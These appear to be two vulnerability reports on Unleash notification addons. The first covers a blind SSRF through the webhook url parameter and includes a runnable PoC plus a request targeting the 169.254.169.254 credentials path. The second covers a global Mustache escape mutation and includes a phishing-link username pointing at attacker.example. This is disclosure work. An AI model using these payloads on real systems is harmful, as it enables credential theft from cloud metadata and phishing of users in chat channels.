Summary

Unleash's addon/integration subsystem lets an operator configure a webhook (and the Slack, Microsoft Teams, Datadog, and New Relic integrations) with a target url parameter. Whenever a subscribed feature-flag event fires, the Unleash server itself issues an HTTP request to that configured URL. The URL is taken verbatim from the addon's parameters.url and passed straight to the HTTP client (ky) with no validation of the host: there is no allow-list, no deny-list, and no blocking of loopback, link-local, RFC1918, or cloud-metadata addresses anywhere in the addon code path. A principal able to create or update an addon can therefore point the server at an internal-only URL — for example http://169.254.169.254/latest/meta-data/… (cloud IMDS), http://127.0.0.1:<port>/… (a service bound to localhost), or any RFC1918 host — and cause the Unleash server to dial it from inside the trust boundary.

The request is blind (the response body is not returned to the caller), but the addon records whether the request succeeded and its HTTP status into the integration-event log, giving a status/timing oracle for probing internal services. In addition, the webhook provider forwards the operator-configured Authorization header and arbitrary customHeaders to whatever host the url points at (Datadog forwards DD-API-KEY), so an attacker who controls or can observe the target host also obtains those secrets. The full feature-event JSON is POSTed to the chosen internal endpoint as the request body.

Creating/updating addons is gated by the root permissions CREATEADDON / UPDATEADDON. These are not the super-admin ADMIN permission and not project-scoped; an instance admin can place them in a custom root role and delegate them to a non-super-admin user, who then has exactly enough privilege to weaponize the integration into an SSRF primitive without holding full admin. This bounds the finding to an authenticated, addon-management-privileged actor (reflected in PR:H), which is the honest precondition.

Affected code (v8.0.0)

The base addon issues the outbound request with the raw URL and no host checks (src/lib/addons/addon.ts):

ts async fetchRetry( url: string, options: any = {}, retries: number = 1, ): Promise<Response> { try { const res = await ky(url, { // <-- attacker-controlled url, no allow/deny-list, no internal-IP block retry: retries, ...options, }); return res; } catch (e) { const { method } = options; this.logger.warn(Error querying ${url} ..., e); return { status: e.code, ok: false } as Response; } }

The webhook provider passes the operator-supplied parameters.url (and forwards authorization + customHeaders) directly into that sink (src/lib/addons/webhook.ts):

ts const { url, bodyTemplate, contentType = 'application/json', authorization, customHeaders } = parameters; // ... const requestOpts = { method: 'POST', headers: { 'Content-Type': contentType, Authorization: authorization || undefined, // <-- configured secret forwarded to url ...extraHeaders, // <-- arbitrary customHeaders forwarded to url }, body, }; const res = await this.fetchRetry(url, requestOpts); // <-- server dials attacker-chosen host

The service layer performs no URL/host validation when creating or updating an addon — only provider-name and required-parameter presence checks run (src/lib/services/addon-service.ts → validateKnownProvider, validateRequiredParameters). The addon parameter schema (src/lib/services/addon-schema.ts) treats url as a free-form string; the type: 'url' field in each provider definition is purely frontend-rendering metadata and is never enforced server-side. A source-wide search of src/lib/addons and addon-service.ts for 169.254, 127.0, localhost, private, ssrf, isAllowed, validateUrl returns zero guards. The same unguarded fetchRetry(url, …) sink backs the Slack, Teams, Datadog, and New Relic providers.

The route gate (src/lib/routes/admin-api/addon.ts) requires the root permission CREATEADDON (create) / UPDATEADDON (update); src/lib/types/permissions.ts lists both under the root "Integration" category — they are root permissions, not project-scoped, and distinct from ADMIN.

Attacker model / precondition

The attacker is an authenticated Unleash user (or an admin API token) holding the root permission CREATEADDON or UPDATEADDON. This is an addon-management privilege: a super-admin has it, and it can be delegated via a custom root role to a non-super-admin user. An ordinary project member does not have it (there is no project-scoped path to addon creation), which is why this is rated PR:H rather than PR:L. Given that privilege, the attacker (1) creates/updates a webhook addon with parameters.url set to an internal target, then (2) triggers a subscribed event (e.g. creating or toggling any feature flag — trivially self-induced), causing the server to dial the internal URL. No interaction from any other user is required. The deployment must have the addon subsystem available (default in OSS); the impact is greatest where the Unleash server runs in a cloud/containerized environment with reachable internal services or an instance-metadata endpoint.

Impact

The Unleash server can be coerced into making HTTP requests to arbitrary internal/loopback/link-local destinations from inside the network perimeter — i.e. classic SSRF (CWE-918). Concrete consequences: reaching a cloud instance-metadata service (169.254.169.254) or internal admin/management endpoints not exposed externally; port-/service-probing of internal hosts using the success/status recorded in the integration-event log as a blind oracle; and exfiltration of the operator-configured Authorization header and any customHeaders (and, for the Datadog provider, the DD-API-KEY) to the attacker-chosen host, since those headers are sent to whatever url is configured. The full feature-event payload is delivered as the POST body to the internal endpoint. The response body is not echoed back to the caller (blind SSRF), which (together with the PR:H precondition) bounds severity to Medium. Scope is Changed because the vulnerable component (the Unleash app) is used to attack a different security authority — the internal network / metadata service.

Proof of Concept (complete — runs on 127.0.0.1 only)

This PoC drives the real WebhookAddon.handleEvent from Unleash v8.0.0 against a loopback HTTP listener that stands in for an internal service / metadata endpoint. It proves three things: (1) the Unleash code dials the attacker-chosen internal URL, (2) the configured Authorization and custom headers are forwarded to that internal host, and (3) the addon records the request as a success (the blind-SSRF oracle). A negative control shows there is no pre-flight URL policy — internal targets are dialed, and only a TCP-layer error (not a guard) stops a closed port.

Setup

bash In a throwaway clone of the target at the exact tag: git clone --depth 1 --branch v8.0.0 https://github.com/Unleash/unleash unleash cd unleash Install JS deps (no database is needed for this PoC): corepack pnpm install --prefer-offline

File 1 — vitest.poc.config.ts (project root)

The repo's default vitest config has a Postgres globalSetup; this PoC exercises the addon in isolation and needs no DB, so we use a trimmed config that drops that setup.

ts import { defineConfig, configDefaults } from 'vitest/config';

// PoC config: identical to vitest.config.ts but WITHOUT the Postgres globalSetup, // because this SSRF PoC exercises the WebhookAddon in isolation (no DB needed). export default defineConfig({ test: { globals: true, setupFiles: ['./src/test/errorWithMessage.ts'], testTimeout: 30000, exclude: [...configDefaults.exclude, 'frontend/', 'dist/'], environment: 'node', }, });

File 2 — src/lib/addons/ssrf-poc.test.ts

ts // PoC: SSRF via Webhook addon — Unleash v8.0.0 // Drives the REAL WebhookAddon.handleEvent with an attacker-chosen url // pointing at a loopback/RFC1918 listener; proves the Unleash process dials // the internal URL with NO host/IP filtering. Lab-only (127.0.0.1). import { FEATURECREATED, type IEvent } from '../events/index.js'; import WebhookAddon from './webhook.js'; import noLogger from '../../test/fixtures/no-logger.js'; import { type IAddonConfig, type IFlagKey, type IFlagResolver, SYSTEMUSERID, } from '../types/index.js'; import type { IntegrationEventsService } from '../services/index.js'; import { vi } from 'vitest'; import EventEmitter from 'node:events'; import http from 'node:http'; import { AddressInfo } from 'node:net';

const INTEGRATIONID = 1337;

const setup = () => { const registerEventMock = vi.fn(); const addonConfig: IAddonConfig = { getLogger: noLogger, unleashUrl: 'http://some-url.com', integrationEventsService: { registerEvent: registerEventMock, } as unknown as IntegrationEventsService, flagResolver: { isEnabled: (expName: IFlagKey) => false, } as IFlagResolver, eventBus: new EventEmitter(), }; return { addon: new WebhookAddon(addonConfig), registerEventMock }; };

const sampleEvent: IEvent = { id: 1, createdAt: new Date(), createdByUserId: SYSTEMUSERID, type: FEATURECREATED, createdBy: 'attacker@evil.com', featureName: 'some-toggle', data: { name: 'some-toggle' }, tags: [], project: 'default', environment: 'production', };

// Stand up a fake "internal service" on loopback that records what reached it. function startInternalListener(): Promise<{ url: string; hits: Array<{ path: string; auth?: string; secret?: string; body: string }>; close: () => Promise<void>; }> { const hits: Array<{ path: string; auth?: string; secret?: string; body: string; }> = []; return new Promise((resolve) => { const server = http.createServer((req, res) => { let body = ''; req.on('data', (c) => (body += c)); req.on('end', () => { hits.push({ path: req.url || '', auth: req.headers['authorization'] as string | undefined, secret: req.headers['x-internal-secret'] as | string | undefined, body, }); // emulate a cloud metadata / internal endpoint reply res.writeHead(200, { 'content-type': 'text/plain' }); res.end('iam-role-credentials-here'); }); }); server.listen(0, '127.0.0.1', () => { const { port } = server.address() as AddressInfo; resolve({ url: http://127.0.0.1:${port}, hits, close: () => new Promise((r) => server.close(() => r(undefined))), }); }); }); }

describe('SSRF via Webhook addon (Unleash v8.0.0)', () => { test('server dials an attacker-chosen INTERNAL url with NO filtering', async () => { const internal = await startInternalListener(); try { const { addon, registerEventMock } = setup();

// The url below is exactly what an operator/role-holder supplies // as the addon parameters.url. It is an internal loopback target; // a real attacker would use http://169.254.169.254/latest/... or an // internal service. There is NO allow/deny-list in the addon path. await addon.handleEvent( sampleEvent, { url: ${internal.url}/latest/meta-data/iam/security-credentials/, // operator-configured secrets get forwarded to the chosen host: authorization: 'Bearer operator-webhook-secret', customHeaders: JSON.stringify({ 'X-Internal-Secret': 'leaked-to-internal-host', }), }, INTEGRATIONID, );

// PROOF 1: the Unleash process actually connected to the internal URL. expect(internal.hits.length).toBe(1); expect(internal.hits[0].path).toBe( '/latest/meta-data/iam/security-credentials/', ); // PROOF 2: operator-configured credentials were exfiltrated to the // attacker-chosen internal host (header leakage). expect(internal.hits[0].auth).toBe('Bearer operator-webhook-secret'); expect(internal.hits[0].secret).toBe('leaked-to-internal-host'); // PROOF 3: the addon recorded SUCCESS (status/timing oracle for blind SSRF). const recorded = registerEventMock.mock.calls[0][0]; expect(recorded.state).toBe('success'); expect(recorded.details.url).toContain('127.0.0.1');

// eslint-disable-next-line no-console console.log( '[PoC] SSRF confirmed -> internal hit:', JSON.stringify(internal.hits[0]), ); } finally { await internal.close(); } });

test('NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard', async () => { const { addon, registerEventMock } = setup(); // Point at a closed loopback port. If a real SSRF allow/deny-list existed, // the addon would refuse internal targets BEFORE dialing. Instead it dials // and only fails at the TCP layer -> proves absence of any URL guard. await addon.handleEvent( sampleEvent, { url: 'http://127.0.0.1:1/" ' }, INTEGRATIONID, ); const recorded = registerEventMock.mock.calls[0][0]; // It attempted the request (state failed due to connection error), it was // NOT blocked by a policy. The recorded url is the internal target. expect(['failed', 'success']).toContain(recorded.state); expect(recorded.details.url).toContain('127.0.0.1'); }); });

Run

bash npx vitest run --config vitest.poc.config.ts src/lib/addons/ssrf-poc.test.ts

Observed output (real run against v8.0.0)

RUN v4.1.5

stdout | src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering [PoC] SSRF confirmed -> internal hit: {"path":"/latest/meta-data/iam/security-credentials/","auth":"Bearer operator-webhook-secret","secret":"leaked-to-internal-host","body":"{\"id\":1, ... \"type\":\"feature-created\", ... }"} ✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering ✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard

Test Files 1 passed (1) Tests 2 passed (2)

The internal loopback listener received the request (path = the metadata path), with the configured Authorization: Bearer operator-webhook-secret and X-Internal-Secret: leaked-to-internal-host headers, and the addon recorded the call as a success — confirming SSRF, blind-oracle, and outbound header exfiltration in one run. End-to-end equivalent over HTTP: POST /api/admin/addons with { "provider":"webhook", "enabled":true, "events":["feature-created"], "parameters":{ "url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/", "authorization":"…" } } (requires CREATEADDON), then create any feature flag to trigger the outbound request.

Remediation

Validate the addon url server-side before it is ever dialed, both at create/update time (addon-service.ts) and again at request time (addon.ts fetchRetry). Specifically: require http/https only; resolve the hostname and reject the request if any resolved address is loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10, including the 169.254.169.254/fd00:ec2::254 metadata addresses), private (10/8, 172.16/12, 192.168/16, fc00::/7), or otherwise non-public — using a DNS-rebinding-safe check that pins the resolved IP and connects to that pinned IP (so the name cannot resolve to a public address at check time and a private one at connect time); and disable or constrain HTTP redirects so a 30x cannot bounce an allowed host to an internal one. Provide an explicit allow-list / SSRF-protection toggle for operators who must reach internal hooks intentionally. Apply the same guard uniformly to all providers that build on Addon.fetchRetry (webhook, Slack, Teams, Datadog, New Relic). Consider not forwarding the configured Authorization/customHeaders to non-allow-listed hosts to contain credential leakage.

Please credit 5ud0 / Tarmo Technologies.

Vulnerability Details

File: src/lib/addons/feature-event-formatter-md.ts Line: 355 (in v8.0.1; format() method)

Root Cause

FeatureEventFormatterMd.format() does:

ts Mustache.escape = (text) => text; const text = Mustache.render(action, context);

mustache (pinned ^4.2.0, confirmed installed 4.2.0) keeps escape as a module-level singleton (mustache.js: mustache.escape = escapeHtml;), read by every Mustache.render() call in the process unless a per-call config.escape override is passed (var escape = this.getConfigEscape(config) || mustache.escape;). Node's module cache guarantees every import Mustache from 'mustache' in the process — feature-event-formatter-md.ts, email-service.ts, webhook.ts, datadog.ts, new-relic.ts — shares the same object instance.

This assignment therefore permanently disables HTML escaping for every other Mustache.render() call in the same Node process (including email-service.ts templates) from the moment any single notification addon (Webhook, Slack legacy, Microsoft Teams, Datadog, New Relic) first formats any event, for the remaining lifetime of the process.

feature-event-formatter-md-events.ts (EVENTMAP) confirms the blast radius: nearly every event's action template interpolates attacker-controlled values with single-mustache (intended-to-be-escaped) syntax, most importantly {{user}}, which is event.createdBy — the acting account's username (or email if set; src/lib/util/extract-user.ts: extractUsernameFromUser). Neither username nor name have any charset/length validation anywhere in the codebase (create-user-schema.ts, create-invited-user-schema.ts, user-service.ts:289 only does Joi.assert(name, Joi.string(), 'Name') — a type check, nothing more).

Slack's own API docs require &, <, > to be replaced with &amp;, &lt;, &gt; before sending user-generated text, specifically so Slack's mrkdwn parser does not interpret it as <url|label> link syntax. Mustache's default escapeHtml happens to produce exactly those entities, so this was (likely unintentionally) the application's only defense against link-injection in chat notifications — and it is unconditionally switched off by the same code path that depends on it.

Attack Scenario 1. Admin has a Webhook, Slack (legacy), Microsoft Teams, Datadog, or New Relic integration configured (a very common production setup for flag-change notifications). 2. Attacker has (or self-registers, if public signup is enabled — POST /invite/:token/signup is permission: NONE) any Editor-level account and sets username to e.g. evil<https://attacker.example/urgent-rollback|Click here to view incident>. 3. Attacker performs any ordinary write action (create/update/toggle a feature flag — routine, no special privilege beyond Editor on one project). 4. The configured addon's handleEvent() calls this.msgFormatter.format(event), which mutates the global escape function and immediately renders the {{user}}-containing template with escaping disabled. 5. The resulting message — containing the attacker's raw <url|label> Slack link syntax — is POSTed to the team's Slack/Teams channel or webhook endpoint and rendered as a real, clickable, attacker-labeled hyperlink inside a trusted automated notification feed.

Vulnerable Code ts Mustache.escape = (text) => text;

const text = Mustache.render(action, context); const url = path ? ${this.unleashUrl}${Mustache.render(path, context)} : undefined;

Impact - Stored markdown/link-injection (phishing-link injection) into any configured outbound notification channel (Slack legacy, MS Teams, Webhook default markdown, Datadog, New Relic), using an attacker-controlled username — no admin privilege required, only Editor on a single project, and potentially reachable through public self-signup. - Secondary: loss of HTML escaping for any other reachable Mustache single-mustache placeholder process-wide until restart (increases severity of any other currently-unreached or future Mustache sink, e.g. email templates). - Tertiary: a custom Webhook bodyTemplate that interpolates raw event/user fields directly into a JSON string literal (rather than the pre-escaped eventJson field the code already provides for this purpose) can have its JSON structure broken by an attacker-controlled " character once the global escape function is neutered.

Recommended Fix Never mutate the shared Mustache.escape global. Pass a local escape function via Mustache's per-call render option instead (supported and typed in @types/mustache@4.2.6's RenderOptions.escape):

ts const renderConfig = { escape: (text: string) => text }; const text = Mustache.render(action, context, undefined, renderConfig); const url = path ? ${this.unleashUrl}${Mustache.render(path, context, undefined, renderConfig)} : undefined;

Verification Dynamically confirmed on v8.0.1 in a local Docker lab (official unleashorg/unleash-server:8.0.1 image + Postgres 15): - Created a Webhook addon with the addon UI's own placeholder bodyTemplate ({{event.createdBy}} etc.), pointed at a local listener. - Created an Editor-role user with username = evil2<https://attacker.example/urgent-rollback|Click here to view incident> (accepted with HTTP 201, no sanitization). - Logged in as that user and created a feature flag (ordinary Editor action). - Captured webhook payload: "createdBy": "evil2<https://attacker.example/urgent-rollback|Click here to view incident>" — <, >, | completely unescaped, live Slack link-injection syntax. - Control test with the same pinned mustache@4.2.0 package confirmed the default (pre-bug) output for the same string would have been evil2&lt;https:&#x2F;&#x2F;attacker.example&#x2F;urgent-rollback|Click here to view incident&gt; — i.e. the single global assignment is solely responsible for the unescaped output observed live.